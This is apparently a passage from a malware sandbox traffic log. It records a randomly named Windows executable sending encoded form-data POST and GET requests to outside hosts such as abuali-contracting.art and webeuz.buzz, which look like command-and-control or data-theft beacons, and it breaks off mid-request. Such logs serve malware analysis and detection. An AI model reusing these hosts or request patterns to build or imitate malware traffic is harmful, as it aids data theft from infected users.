6v1=bLTruo7s7VdfGuEMlrWYb0VVmSZG6DIAvmrf9ExGLWPctTvCqKiQpfAAzyyYzTt4dHHb1/46Up4q7EZwDfpDwZWpmyGFVKcrK2VI21gLrsv4i3KRpmGwJCFx7R0qCWpAQaCCXMGxOjtPlnukdbdCSGjR0Cj1SazeSLxSPpHZ9WlJ2k+dzycabXl/M2Ujx+T0feEldYZFLam6kPh3LDYm2Sg=
Oct 8, 2024 15:22:55.288132906 CEST	1289	IN	HTTP/1.1 404 Not Found Date: Tue, 08 Oct 2024 13:22:55 GMT Server: Apache X-Powered-By: PHP/8.1.29 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://abuali-contracting.art/wp-json/>; rel="https://api.w.org/" Strict-Transport-Security: max-age=63072000; includeSubDomains X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 24156 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed bd 6b 77 e4 c6 91 20 fa 59 7d ce fd 0f 50 e9 48 cd 92 0a 28 bc 1f 64 b3 6d 89 92 6c cd b6 2c 1f b7 6c df b5 5b 87 07 05 a0 48 74 a3 0a 65 a0 8a 0f d1 fc 30 1e db eb f5 de 5f b1 bb b3 d6 e8 8e c7 c7 e3 3b 3b c7 fb 4b d8 ff e6 46 44 e2 fd 2a d4 a3 bb a5 71 ab 45 12 48 44 46 46 44 46 44 46 24 32 13 0f de fc f0 b3 93 cf ff f3 0f 3f e2 ce 97 b3 e0 e1 bd 07 f8 87 73 fd e8 78 10 2d 83 01 17 d8 f3 b3 e3 81 1d 0d b8 45 e4 4d fd ab e3 41 78 76 08 b0 cb 45 7c 38 1e 87 67 0b 61 e6 8d e7 f1 5b 03 ac ea d9 ee c3 7b 6f 3c 98 79 4b 9b 73 ce ed 28 f6 96 c7 83 1f 7f fe 31 6f 0e b8 71 f6 64 6e cf bc e3 c1 85 ef 5d 2e c2 68 39 e0 9c 70 be f4 e6 00 79 e9 bb cb f3 63 d7 bb f0 1d 8f a7 9b 11 e7 cf fd a5 6f 07 7c ec d8 81 77 2c 11 9e 7b 6f bc f1 e0 4d 9e e7 de 0f 02 78 ce 7d 36 f7 b8 c7 1f 7d c6 a9 82 21 c8 1c cf d9 7e 18 7b a1 e0 84 33 8e e7 1f fe 5f 08 bd f4 97 81 f7 f0 c1 98 fd c5 92 02 25 51 38 09 97 71 81 8e 79 e8 cf 5d ef 8a d1 5c 02 3d f3 e6 5e 64 2f c3 a8 00 5d a1 e2 e0 fd 4f 3e 83 [TRUNCATED] Data Ascii: kw Y}PH(dml,l[Hte0_;;KFDqEHDFFDFDF$2?sx-EMAxvE\|8ga[{o<yKs(1oqdn].h9pyco\|w,{oMx}6}!~{3_%Q8qy]\=^d/]O>CFN#v"b/K?q8\|v=oK]-&''c"`4Yd/?`l ?;h5<%n=Y#vL]dV_z3DQRcX<"}PPJeV$%^mI_D$X+@.@Jh$D`=Y/\}sKRM:5,+%l2WZT.h?e%/ 5yvQjQ]E,F\SbmHR"M(ZV<E)$iYZGQNZ'8)r[0)nZd>8!*
Oct 8, 2024 15:22:55.288209915 CEST	1289	IN	Data Raw: 2a ea 2a 0a fa fa a7 a5 17 78 8b f3 70 8e e6 f3 9e a5 eb 9a a8 6b 86 68 e9 2a 3c 0b c2 b3 70 70 98 1b eb 27 33 fb cc fb 6c f2 d4 73 96 1b 34 72 b9 e0 93 41 ec c9 78 b5 08 42 db 8d c1 35 89 b2 fa 64 2c 1a 4f c6 4e 14 2e 16 9e cb eb 96 69 a8 3c 36 Data Ascii: *xpkh<pp'3ls4rAxB5d,ON.i<6 ;<6}w9bPG,zGCMxgKo\vl~M~x7,X*5aXJgMC``tU<66R6RuXu{F.
Oct 8, 2024 15:22:55.288223028 CEST	1289	IN	Data Raw: 20 24 08 32 20 66 58 86 8b c1 c8 16 a6 21 ce 3c eb a2 c8 29 f2 e2 8a 7b 3f f2 ed 00 10 dd 66 d6 01 06 18 46 1f d9 a0 e6 b9 7d 0c 6f c2 9f 7b 5f 1c 2f 0f ec 91 07 12 c1 06 72 39 2d f1 39 73 1c 35 ea d9 a0 04 9d b5 14 e2 c8 39 06 81 0a 20 44 f0 c0 Data Ascii: $2 fX!<){?fF}o{_/r9-9s59 Do#_You$FArQq\{\|m<?g9J\H\q\|\|C6D4>rcyK"u?pG}z&B4\|n`n![2y\|/Aed8KGe`
Oct 8, 2024 15:22:55.288331985 CEST	1289	IN	Data Raw: f4 c4 d5 7e c4 a0 c8 8d c2 05 3f f5 71 be fd 70 12 ac a2 03 49 5f 5c 0d b9 d8 86 98 0b 63 61 c9 14 df 1e 1e 6d 06 79 46 b2 07 52 02 e0 eb 2d cd c6 7f aa 78 c4 3a 81 8c fd a8 dc 21 ea e2 ea a8 2c 86 a3 92 94 93 b1 58 16 01 ee 29 44 0a 90 79 a4 af Data Ascii: ~?qpI_\camyFR-x:!,X)DySg"EG`?yh#`<ri!_.8B ~(t*+_r=0`ZB!d+t'erOb8=Ay<`Cv31W60^W&q
Oct 8, 2024 15:22:55.288346052 CEST	1289	IN	Data Raw: 1f df 07 8f c2 16 8b 37 88 07 d7 03 b3 0d 4c 2d 1d 99 01 b4 cc a8 15 4d ba f8 26 2d ab 07 6a 9d 26 9a 49 13 04 b0 be 22 b9 6a 6f 6a af 02 e6 65 da 5e e1 e2 cc 6d 63 c3 55 f8 f2 1b f3 66 5a 47 6d 88 d6 bd f7 ce c9 de ec ed 5f c3 18 d5 32 28 95 04 Data Ascii: 7L-M&-j&I"joje^mcUfZGm_2(Sz!20-5=8F5sw-qM4tz/3!z_n7EWT!RW>@a+./*5QzIp0"$0}MIK4i7CwB9}D\\+Q
Oct 8, 2024 15:22:55.288496971 CEST	1289	IN	Data Raw: 00 51 34 9c 89 7d d4 fc 98 e7 a3 b3 c9 a1 38 92 64 75 24 99 7a 1b 14 06 1c 30 a0 4b 22 a2 d3 27 b6 b4 16 30 43 2c 1a 23 49 5f 07 2f 13 62 cd 36 8d b5 80 29 62 0b 70 2b 5a 11 3c 89 3a d8 6c 20 2d b2 c2 39 2a 06 91 ac 0c b8 9e e3 ba f0 44 30 86 2d Data Ascii: Q4}8du$z0K"'0C,#I_/b6)bp+Z<:l -9*D0-9kG8e%XK6[0,G{0G,]Z5p `;'( - )sxkla+;TAhI,O`'k:wY"P$Ehfwn1aJn<$U\|
Oct 8, 2024 15:22:55.288511038 CEST	1289	IN	Data Raw: 7a 8b f9 9c 7b 57 10 87 3b 3e ce 31 81 94 0d 53 34 5b b8 4d bd 29 58 99 55 e5 33 4b 94 6b 13 30 d9 9c 4c ca 59 4b d2 1c 9d 4d ec 03 7d 24 a9 c6 48 96 8d 91 34 e4 c4 b7 b1 f0 40 d2 b4 11 24 d3 b2 ac 0e f1 70 3b c8 54 da 9a ae 3a cf bc ed a2 87 6c Data Ascii: z{W;>1S4[M)XU3Kk0LYKM}$H4@$p;T:loeYI5/dIo]b5hFb.,FnDk2)Ew91Ru]>h>wt'#5!(/jTACTI#I\v@MPUeeXgfVX
Oct 8, 2024 15:22:55.288609028 CEST	1289	IN	Data Raw: f6 96 71 0f 0b df a8 02 50 76 56 25 65 e5 47 5c 69 63 28 27 43 6c d1 5e 9f 80 72 04 ec 68 4e ae b8 d7 74 0d 02 b6 3a 0e 30 54 17 b4 71 c9 f1 37 65 64 b4 32 a5 42 21 2b 2b 6e 76 29 34 34 84 96 de cd 84 91 2e e9 c6 05 7c 40 19 c6 4d e5 27 1e 66 ac Data Ascii: qPvV%eG\ic('Cl^rhNt:0Tq7ed2B!++nv)44.\|@M'fb'Ox\|{~\|dAAJzJ\W86]O*mYtxwt+Y%Kv~SdR&r1)w-~+~YEP-cn>aTXY"d~ijEJ(Q
Oct 8, 2024 15:22:55.288631916 CEST	1289	IN	Data Raw: e7 16 c8 fb 67 9d 5b 20 ef 91 6d 6e 81 b5 67 96 b9 05 e6 2d b2 cb 2d 5a d9 2d ab dc bd c1 fe d9 e4 36 6d 6d 93 45 6e dd 55 1b 65 8f db aa da 46 59 e3 d6 ac f4 cf 16 b7 6e a2 57 96 b8 05 f6 de d9 e1 36 ce af 57 56 b8 4d d7 f6 c9 06 b7 c0 bb 51 16 Data Ascii: g[ mng--Z-6mmEnUeFYnW6WVMQm$Y6+n+1Aln=D.{&-qKmImec8^YX}mG\|{d[[yY6=7>O$pbN$ioFvnnRlx>k@
Oct 8, 2024 15:22:55.288644075 CEST	1289	IN	Data Raw: 7a 0d b3 f8 35 77 69 aa 4d 75 15 72 2a 4d 56 1d 6f 22 99 9a 67 ab b2 68 41 e0 2b ed ee 90 0b 6f 97 fa 71 25 ef 5f 50 f2 d6 82 5a 97 50 34 64 14 5d 1e 3b 93 3b 0c 3d 8a a3 7a 96 6b b9 13 90 3f 48 5a 33 21 b5 9b 4a f0 d7 d4 6d f1 c5 cb bd c6 4a 57 Data Ascii: z5wiMurMVo"ghA+oq%_PZP4d];;=zk?HZ3!JmJWACK8hji6Uh5d[S ^(A"jd[9:h;ck,td0dd1)t:u[6Hgyj]sJFPBxNvwbQno] g
Oct 8, 2024 15:22:55.394735098 CEST	1289	IN	Data Raw: 9f 7d fe 03 ff d3 cf a1 7c 19 ad bc 0c 14 b0 4f fd 33 84 2e 4a 0f 1e 57 7b ff a3 b9 bb 8d 06 e4 1e 29 eb 4a 7b e1 0b 97 42 18 9d 8d 07 cc e7 e4 4f 5a 75 fe 69 1c ce 01 7c fc b0 80 ef 23 d7 5f fe f8 47 9f 0c b8 e5 f5 c2 3b 1e d8 8b 45 e0 3b 14 ad Data Ascii: }\|O3.JW{)J{BOZui\|#_G;E;}j#q<{#,$rL39nnJ0]{dJ*b"1YJ`>m_5<GlBHr`rC_Y0Gu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.11.20	49753	66.198.240.15	80	2488	C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:22:57.610833883 CEST	2578	OUT	POST /2ryn/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.abuali-contracting.art Origin: http://www.abuali-contracting.art Referer: http://www.abuali-contracting.art/2ryn/ Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 7368 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0) Data Raw: 36 76 31 3d 62 4c 54 72 75 6f 37 73 37 56 64 66 47 75 45 4d 6c 72 57 59 62 30 56 56 6d 53 5a 47 36 44 49 41 76 6d 72 66 39 45 78 47 4c 57 48 63 74 6c 7a 43 71 70 61 51 6f 66 41 41 39 53 79 5a 7a 54 74 70 64 44 54 58 31 2f 30 31 55 72 77 71 39 58 52 77 55 2b 70 44 71 4a 57 70 70 53 47 41 59 71 63 2b 4b 33 35 4d 32 31 77 4c 72 73 76 34 69 30 43 52 67 55 2b 77 50 43 46 79 7a 78 30 75 47 57 70 34 51 61 36 34 58 4e 79 50 4e 54 4e 50 6c 48 2b 6b 62 6f 6c 43 51 6d 6a 66 35 69 69 71 53 61 33 42 53 4c 63 72 50 6f 7a 7a 39 52 42 4a 31 79 2f 4b 70 67 67 57 59 6d 78 4f 4d 6e 4d 4d 32 76 2f 61 54 75 45 65 52 70 74 72 46 4b 69 52 6d 38 74 47 65 54 38 54 6b 46 67 34 5a 4d 55 74 34 54 75 30 30 65 36 4b 36 4f 6a 30 6f 2f 34 52 67 62 53 41 7a 51 5a 30 57 50 4a 67 57 39 36 31 5a 34 2b 5a 77 6c 53 4b 63 2b 39 4a 65 45 4a 4e 69 53 6d 56 4f 71 2b 58 5a 43 58 7a 76 75 35 4a 38 54 4d 74 64 67 72 74 56 6c 6f 4d 6b 6f 73 62 71 32 54 39 30 62 73 58 58 4f 74 74 44 6a 6e 32 4e 7a 49 46 6a 72 76 6c 2f 44 46 44 37 45 52 73 62 6f [TRUNCATED] Data Ascii: 6v1=bLTruo7s7VdfGuEMlrWYb0VVmSZG6DIAvmrf9ExGLWHctlzCqpaQofAA9SyZzTtpdDTX1/01Urwq9XRwU+pDqJWppSGAYqc+K35M21wLrsv4i0CRgU+wPCFyzx0uGWp4Qa64XNyPNTNPlH+kbolCQmjf5iiqSa3BSLcrPozz9RBJ1y/KpggWYmxOMnMM2v/aTuEeRptrFKiRm8tGeT8TkFg4ZMUt4Tu00e6K6Oj0o/4RgbSAzQZ0WPJgW961Z4+ZwlSKc+9JeEJNiSmVOq+XZCXzvu5J8TMtdgrtVloMkosbq2T90bsXXOttDjn2NzIFjrvl/DFD7ERsboAYwjRX2sRv5Omq9A0Mw7xkZ88/FRKD7LUVCNGMLB1M7qhEU7kno/O5cmr6wRXFGx9y5gJQn9WIGBRraXUsDU+9jg6Nc5UEpWOJrgXO2CApdFVchAYpE2f8XUrUHoR1IB8tc0w7aWv51VVWTORB8YSeGoB9VMDaN31HJoepkOF+gU6vmB+ukpuDZFYHPwTJW9mPxTKNNVkSc0vKW+nqSTt5DtHSk5UW+B9vIFgL2UUbUSpOcqDt/vtolIxhbeSjrFXIuNgGH26bS6huIUTu0fV6xb4gxRK7YvlKKlMhxQbUuaQFqHXHKuMvMf3+MFwYpLg5rWF+ri4tRWq43pC0Cf9acwKODb4hzMXbwjCWvc3lVFSdSTpo+BmKMLr0jtBPubE5wHWkyrvFb1C2jRYIR6rgp7pZhmjXIq39J6xIIeEliaCO07ph9daaXFzVhSBHgphBSw3DPWdCVlBW8pTXVr1qWMJ0e0xSxm9BWAHXZ0cNn5cGm9kpR7TeXY4khEJsL+lmMiSoql2nhVXMssHv3ghcisegQzv1kHH+oPu5paS2m4XVTqbR2S1a8yQD+BuAQon2kg2hG+hSKIXIEX1gvxcr8JvQqq1Sjof6PQupvbbFA96wu1X1wgoMr0/vc1eSOZ5BGcuYxWB1O7azv3ylfG8xNRWrZyKNEOnp [TRUNCATED]
Oct 8, 2024 15:22:57.610855103 CEST	5156	OUT	Data Raw: 66 45 37 69 39 36 47 4d 52 70 68 51 42 4e 73 2b 41 4a 53 30 55 79 6f 5a 53 61 56 47 6f 66 45 48 72 55 79 72 57 78 61 64 2f 41 70 6a 4d 78 65 30 6d 63 2b 79 35 6c 72 73 6e 51 74 39 52 30 36 44 2b 6a 38 37 54 64 67 75 62 63 4b 36 73 70 7a 67 32 69 Data Ascii: fE7i96GMRphQBNs+AJS0UyoZSaVGofEHrUyrWxad/ApjMxe0mc+y5lrsnQt9R06D+j87TdgubcK6spzg2id5IYABjOQFiD531VsNW3H7GXa3o8X78/HKZTYtoL6aHIDFC5ZnFBf7nTjBkaEAr1xB0ez8I7RAxYjQNKPrvyM0Ku1j0r5Zn7w5OqFAdU+Ftvw7Y3z4cKqlO32Wi8jzcB+Z7kQ0k5Wx/pXIrAS5+QXPh8UFJPWgRxp
Oct 8, 2024 15:22:57.610898972 CEST	256	OUT	Data Raw: 58 4c 45 37 6e 6a 77 6c 7a 46 2b 2b 4d 65 6a 49 6e 6a 61 4d 74 66 4d 73 72 65 51 4e 6b 44 6f 64 72 52 67 42 4d 6d 76 41 43 2b 53 54 31 76 46 38 42 5a 47 6b 41 4c 34 77 72 51 48 75 7a 67 2b 41 39 54 47 38 35 56 38 46 4b 49 55 76 71 4d 65 32 48 48 Data Ascii: XLE7njwlzF++MejInjaMtfMsreQNkDodrRgBMmvAC+ST1vF8BZGkAL4wrQHuzg+A9TG85V8FKIUvqMe2HHn8kmVrEu1fJ+aYjlDtawDaznHhF0VcY/5HQaZ9mcI3OnkdBb3rjEMLpa6j8fh9i8ebRtrrACjncD3OZHX+VJeIBpp80yMP00eE6Ymn5m5PCawxLMNEIELXqMtbLsXIgofQWDcWCQWySAOazo6IR/Ckg4vRH+Z2fha
Oct 8, 2024 15:22:57.929244995 CEST	1289	IN	HTTP/1.1 404 Not Found Date: Tue, 08 Oct 2024 13:22:57 GMT Server: Apache X-Powered-By: PHP/8.1.29 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://abuali-contracting.art/wp-json/>; rel="https://api.w.org/" Strict-Transport-Security: max-age=63072000; includeSubDomains X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 24156 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed bd 6b 77 e4 c6 91 20 fa 59 7d ce fd 0f 50 e9 48 cd 92 0a 28 bc 1f 64 b3 6d 89 92 6c cd b6 2c 1f b7 6c df b5 5b 87 07 05 a0 48 74 a3 0a 65 a0 8a 0f d1 fc 30 1e db eb f5 de 5f b1 bb b3 d6 e8 8e c7 c7 e3 3b 3b c7 fb 4b d8 ff e6 46 44 e2 fd 2a d4 a3 bb a5 71 ab 45 12 48 44 46 46 44 46 44 46 24 32 13 0f de fc f0 b3 93 cf ff f3 0f 3f e2 ce 97 b3 e0 e1 bd 07 f8 87 73 fd e8 78 10 2d 83 01 17 d8 f3 b3 e3 81 1d 0d b8 45 e4 4d fd ab e3 41 78 76 08 b0 cb 45 7c 38 1e 87 67 0b 61 e6 8d e7 f1 5b 03 ac ea d9 ee c3 7b 6f 3c 98 79 4b 9b 73 ce ed 28 f6 96 c7 83 1f 7f fe 31 6f 0e b8 71 f6 64 6e cf bc e3 c1 85 ef 5d 2e c2 68 39 e0 9c 70 be f4 e6 00 79 e9 bb cb f3 63 d7 bb f0 1d 8f a7 9b 11 e7 cf fd a5 6f 07 7c ec d8 81 77 2c 11 9e 7b 6f bc f1 e0 4d 9e e7 de 0f 02 78 ce 7d 36 f7 b8 c7 1f 7d c6 a9 82 21 c8 1c cf d9 7e 18 7b a1 e0 84 33 8e e7 1f fe 5f 08 bd f4 97 81 f7 f0 c1 98 fd c5 92 02 25 51 38 09 97 71 81 8e 79 e8 cf 5d ef 8a d1 5c 02 3d f3 e6 5e 64 2f c3 a8 00 5d a1 e2 e0 fd 4f 3e 83 [TRUNCATED] Data Ascii: kw Y}PH(dml,l[Hte0_;;KFDqEHDFFDFDF$2?sx-EMAxvE\|8ga[{o<yKs(1oqdn].h9pyco\|w,{oMx}6}!~{3_%Q8qy]\=^d/]O>CFN#v"b/K?q8\|v=oK]-&''c"`4Yd/?`l ?;h5<%n=Y#vL]dV_z3DQRcX<"}PPJeV$%^mI_D$X+@.@Jh$D`=Y/\}sKRM:5,+%l2WZT.h?e%/ 5yvQjQ]E,F\SbmHR"M(ZV<E)$iYZGQNZ'8)r[0)nZd>8!*
Oct 8, 2024 15:22:57.929374933 CEST	1289	IN	Data Raw: 2a ea 2a 0a fa fa a7 a5 17 78 8b f3 70 8e e6 f3 9e a5 eb 9a a8 6b 86 68 e9 2a 3c 0b c2 b3 70 70 98 1b eb 27 33 fb cc fb 6c f2 d4 73 96 1b 34 72 b9 e0 93 41 ec c9 78 b5 08 42 db 8d c1 35 89 b2 fa 64 2c 1a 4f c6 4e 14 2e 16 9e cb eb 96 69 a8 3c 36 Data Ascii: *xpkh<pp'3ls4rAxB5d,ON.i<6 ;<6}w9bPG,zGCMxgKo\vl~M~x7,X*5aXJgMC``tU<66R6RuXu{F.
Oct 8, 2024 15:22:57.929392099 CEST	1289	IN	Data Raw: 20 24 08 32 20 66 58 86 8b c1 c8 16 a6 21 ce 3c eb a2 c8 29 f2 e2 8a 7b 3f f2 ed 00 10 dd 66 d6 01 06 18 46 1f d9 a0 e6 b9 7d 0c 6f c2 9f 7b 5f 1c 2f 0f ec 91 07 12 c1 06 72 39 2d f1 39 73 1c 35 ea d9 a0 04 9d b5 14 e2 c8 39 06 81 0a 20 44 f0 c0 Data Ascii: $2 fX!<){?fF}o{_/r9-9s59 Do#_You$FArQq\{\|m<?g9J\H\q\|\|C6D4>rcyK"u?pG}z&B4\|n`n![2y\|/Aed8KGe`
Oct 8, 2024 15:22:57.929425955 CEST	1289	IN	Data Raw: f4 c4 d5 7e c4 a0 c8 8d c2 05 3f f5 71 be fd 70 12 ac a2 03 49 5f 5c 0d b9 d8 86 98 0b 63 61 c9 14 df 1e 1e 6d 06 79 46 b2 07 52 02 e0 eb 2d cd c6 7f aa 78 c4 3a 81 8c fd a8 dc 21 ea e2 ea a8 2c 86 a3 92 94 93 b1 58 16 01 ee 29 44 0a 90 79 a4 af Data Ascii: ~?qpI_\camyFR-x:!,X)DySg"EG`?yh#`<ri!_.8B ~(t*+_r=0`ZB!d+t'erOb8=Ay<`Cv31W60^W&q
Oct 8, 2024 15:22:57.929439068 CEST	1289	IN	Data Raw: 1f df 07 8f c2 16 8b 37 88 07 d7 03 b3 0d 4c 2d 1d 99 01 b4 cc a8 15 4d ba f8 26 2d ab 07 6a 9d 26 9a 49 13 04 b0 be 22 b9 6a 6f 6a af 02 e6 65 da 5e e1 e2 cc 6d 63 c3 55 f8 f2 1b f3 66 5a 47 6d 88 d6 bd f7 ce c9 de ec ed 5f c3 18 d5 32 28 95 04 Data Ascii: 7L-M&-j&I"joje^mcUfZGm_2(Sz!20-5=8F5sw-qM4tz/3!z_n7EWT!RW>@a+./*5QzIp0"$0}MIK4i7CwB9}D\\+Q
Oct 8, 2024 15:22:57.929452896 CEST	1289	IN	Data Raw: 00 51 34 9c 89 7d d4 fc 98 e7 a3 b3 c9 a1 38 92 64 75 24 99 7a 1b 14 06 1c 30 a0 4b 22 a2 d3 27 b6 b4 16 30 43 2c 1a 23 49 5f 07 2f 13 62 cd 36 8d b5 80 29 62 0b 70 2b 5a 11 3c 89 3a d8 6c 20 2d b2 c2 39 2a 06 91 ac 0c b8 9e e3 ba f0 44 30 86 2d Data Ascii: Q4}8du$z0K"'0C,#I_/b6)bp+Z<:l -9*D0-9kG8e%XK6[0,G{0G,]Z5p `;'( - )sxkla+;TAhI,O`'k:wY"P$Ehfwn1aJn<$U\|
Oct 8, 2024 15:22:57.929466009 CEST	1289	IN	Data Raw: 7a 8b f9 9c 7b 57 10 87 3b 3e ce 31 81 94 0d 53 34 5b b8 4d bd 29 58 99 55 e5 33 4b 94 6b 13 30 d9 9c 4c ca 59 4b d2 1c 9d 4d ec 03 7d 24 a9 c6 48 96 8d 91 34 e4 c4 b7 b1 f0 40 d2 b4 11 24 d3 b2 ac 0e f1 70 3b c8 54 da 9a ae 3a cf bc ed a2 87 6c Data Ascii: z{W;>1S4[M)XU3Kk0LYKM}$H4@$p;T:loeYI5/dIo]b5hFb.,FnDk2)Ew91Ru]>h>wt'#5!(/jTACTI#I\v@MPUeeXgfVX
Oct 8, 2024 15:22:57.929632902 CEST	1289	IN	Data Raw: f6 96 71 0f 0b df a8 02 50 76 56 25 65 e5 47 5c 69 63 28 27 43 6c d1 5e 9f 80 72 04 ec 68 4e ae b8 d7 74 0d 02 b6 3a 0e 30 54 17 b4 71 c9 f1 37 65 64 b4 32 a5 42 21 2b 2b 6e 76 29 34 34 84 96 de cd 84 91 2e e9 c6 05 7c 40 19 c6 4d e5 27 1e 66 ac Data Ascii: qPvV%eG\ic('Cl^rhNt:0Tq7ed2B!++nv)44.\|@M'fb'Ox\|{~\|dAAJzJ\W86]O*mYtxwt+Y%Kv~SdR&r1)w-~+~YEP-cn>aTXY"d~ijEJ(Q
Oct 8, 2024 15:22:57.929647923 CEST	1289	IN	Data Raw: e7 16 c8 fb 67 9d 5b 20 ef 91 6d 6e 81 b5 67 96 b9 05 e6 2d b2 cb 2d 5a d9 2d ab dc bd c1 fe d9 e4 36 6d 6d 93 45 6e dd 55 1b 65 8f db aa da 46 59 e3 d6 ac f4 cf 16 b7 6e a2 57 96 b8 05 f6 de d9 e1 36 ce af 57 56 b8 4d d7 f6 c9 06 b7 c0 bb 51 16 Data Ascii: g[ mng--Z-6mmEnUeFYnW6WVMQm$Y6+n+1Aln=D.{&-qKmImec8^YX}mG\|{d[[yY6=7>O$pbN$ioFvnnRlx>k@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.11.20	49754	66.198.240.15	80	2488	C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:23:00.250128031 CEST	540	OUT	GET /2ryn/?6v1=WJ7LtfbM82h7buA/0JOWUE8vrA9g8isWtU+Jll5yAiLW0FDFh5TQk8se9xDs41F6MnKw38IdfsNEr1xUCYc9892yoQG1SbMmVg8E+Wd0quaGmXjqthTWfwo=&dX7=sns4Fhmpql HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Host: www.abuali-contracting.art Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0)
Oct 8, 2024 15:23:00.498110056 CEST	623	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 08 Oct 2024 13:23:00 GMT Server: Apache X-Powered-By: PHP/8.1.29 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Strict-Transport-Security: max-age=63072000; includeSubDomains X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Location: http://abuali-contracting.art/2ryn/?6v1=WJ7LtfbM82h7buA/0JOWUE8vrA9g8isWtU+Jll5yAiLW0FDFh5TQk8se9xDs41F6MnKw38IdfsNEr1xUCYc9892yoQG1SbMmVg8E+Wd0quaGmXjqthTWfwo=&dX7=sns4Fhmpql Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.11.20	49755	75.2.103.23	80	2488	C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:23:06.043348074 CEST	788	OUT	POST /okq4/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.webeuz.buzz Origin: http://www.webeuz.buzz Referer: http://www.webeuz.buzz/okq4/ Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 200 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0) Data Raw: 36 76 31 3d 37 55 5a 6b 54 68 77 55 31 68 72 55 57 74 75 35 68 77 70 45 72 46 4a 62 32 68 4a 31 4d 77 6c 71 71 68 55 76 72 70 50 61 6e 42 69 35 52 67 6d 4c 2f 68 4c 6e 4b 56 72 6c 4d 62 76 43 57 35 4a 7a 4b 37 64 74 42 4a 6c 37 7a 4a 2f 4e 4f 32 38 51 69 32 55 5a 57 51 72 42 62 49 6a 31 53 56 59 76 6f 79 70 63 5a 6a 71 38 38 57 56 4f 33 53 64 39 56 77 41 6e 54 54 77 65 68 74 61 76 49 43 2b 51 2b 4f 34 77 45 77 57 56 44 73 74 48 77 51 49 39 62 70 6e 54 77 67 68 4f 54 78 68 6e 6c 38 65 72 44 49 4a 62 6b 55 59 52 69 2b 37 35 55 71 2f 6c 57 4c 43 42 61 53 72 53 6c 42 57 73 51 47 6a 34 53 67 3d 3d Data Ascii: 6v1=7UZkThwU1hrUWtu5hwpErFJb2hJ1MwlqqhUvrpPanBi5RgmL/hLnKVrlMbvCW5JzK7dtBJl7zJ/NO28Qi2UZWQrBbIj1SVYvoypcZjq88WVO3Sd9VwAnTTwehtavIC+Q+O4wEwWVDstHwQI9bpnTwghOTxhnl8erDIJbkUYRi+75Uq/lWLCBaSrSlBWsQGj4Sg==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.11.20	49756	75.2.103.23	80	2488	C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:23:08.678519011 CEST	808	OUT	POST /okq4/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.webeuz.buzz Origin: http://www.webeuz.buzz Referer: http://www.webeuz.buzz/okq4/ Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 220 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0) Data Raw: 36 76 31 3d 37 55 5a 6b 54 68 77 55 31 68 72 55 45 65 32 35 6a 54 78 45 6a 46 